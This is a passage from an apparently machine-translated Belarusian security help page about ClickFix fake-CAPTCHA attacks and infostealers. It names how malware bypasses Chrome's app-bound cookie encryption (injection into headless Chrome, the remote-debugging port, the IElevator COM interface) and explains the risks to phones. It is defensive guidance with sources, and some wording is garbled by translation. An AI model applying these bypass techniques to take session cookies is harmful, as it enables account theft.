Пачынаючы з Chrome 127+ Google прадставіў у Windows шыфраванне, прывязанае да праграмы, якое звязвае шыфраванне файлаў cookie (`v20` прэфікс) да сістэмнай службы Windows з павышанымі правамі (`GoogleChromeElevationService`), каб спыніць шкоднаснае праграмнае забеспячэнне з нізкім узроўнем правоў ад расшыфроўкі файлаў cookie. Аднак сучасныя пабудовы в Lumma Stealer, StealC, і Медуза актыўна абыходзіць шыфраванне, прывязанае да праграмы, уводзячы код непасрэдна ў экзэмпляр без галавы chrome.exe, злоўжываючы портам аддаленай адладкі Chrome (--remote-debugging-port), або павышэнне прывілеяў называць ІЛіфт Інтэрфейс COM. Ніколі не мяркуйце, што Chrome 127+ абараніў вашы сеансавыя файлы cookie, калі вы выканалі карысную нагрузку ClickFix; заўсёды неадкладна адклікаць усе сесіі.

Ці можа каманда ClickFix, выкананая на маім тэлефоне iPhone або Android, заразіць мой тэлефон Win + R шкоднасныя праграмы?¶

Калі вы націснулі фальшывы CAPTCHA на iPhone (`iOS`) або тэлефон Android, любы Windows PowerShell / mshta.exe каманда скапіравана ў буфер абмену мабільнага немагчыма выканаць на iOS або Android, таму што мабільныя аперацыйныя сістэмы не маюць a Win + R Запуск дыялогу, powershell.exe, або mshta.exe. Аднак некаторыя мабільныя старонкі ClickFix выяўляюць ваш мабільны User-Agent і перанакіроўваюць вас на ўстаноўку шкоднаснага Android .apk файл, падробленае кіраванне мабільнымі прыладамі iOS (`MDM`) профіль канфігурацыі або шкоднасная падпіска на апавяшчэнне PWA/Web Push. Пераканайцеся, што вы не ўсталявалі спампаваны файл або профіль.

Звязаныя даведнікі¶

• Выкраданне файлаў cookie сеанса, шкоднасная праграма Infostealer і ануляванне ключа доступу
• Уцечка кашалька криптовалюты і кампраметацыя пачатковай фразы
• Заражэнне шкоднаснымі праграмамі, праграмамі-вымагальнікамі і шпіёнскімі праграмамі
• Уліковы запіс электроннай пошты ўзламаны, правілы перасылкі і аднаўленне
• Кампраметацыя пакета ланцужка паставак npm/PyPI і ратацыя ключоў працоўнай станцыі распрацоўшчыка
• Падробленае антывіруснае праграмнае забеспячэнне, спам-апавяшчэнне і ачыстка дазволу браўзера
• Нумары экстраных службаў па краінах

Крыніцы і афіцыйнае кіраўніцтва¶

• Агенцтва кібербяспекі і бяспекі інфраструктуры (CISA) і Федэральнае бюро расследаванняў (FBI) (Злучаныя Штаты Амерыкі): Аб'яднаная рэкамендацыя па кібербяспецы (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): змякчэнне жыцця па-за межамі зямлі (LOLBin) і атакі на крадзеж токенаў сесіі.
• Нацыянальны інстытут стандартаў і тэхналогій (NIST) (Злучаныя Штаты): Спецыяльная публікацыя 800-61 Рэд. 2: Кіраўніцтва па апрацоўцы інцыдэнтаў камп'ютэрнай бяспекі & SP 800-63B: Кіраўніцтва па лічбавай ідэнтыфікацыі (Кіраванне сесіямі і паўторная аўтэнтыфікацыя).
• Microsoft Threat Intelligence (Microsoft Security): Аналіз кампаній сацыяльнай інжынерыі ClickFix, увядзенне падробленага CAPTCHA ў буфер абмену (RunMRU) і вядзенне журнала блокаў скрыпту PowerShell (Event ID 4104).
• Нацыянальны цэнтр кібербяспекі (NCSC) (Злучанае Каралеўства): Зніжэнне атак шкоднасных праграм і праграм-вымагальнікаў і рэкамендацыі па крадзяжы ўліковых даных на ўзроўні прылады.
• Агенцтва Еўрапейскага саюза па кібербяспецы (ENISA): Справаздача аб пагрозах ENISA: выкрадальнікі інфармацыі (Lumma, StealC, RedLine, AMOS) і меры супрацьдзеяння крадзяжу сеансавых файлаў cookie.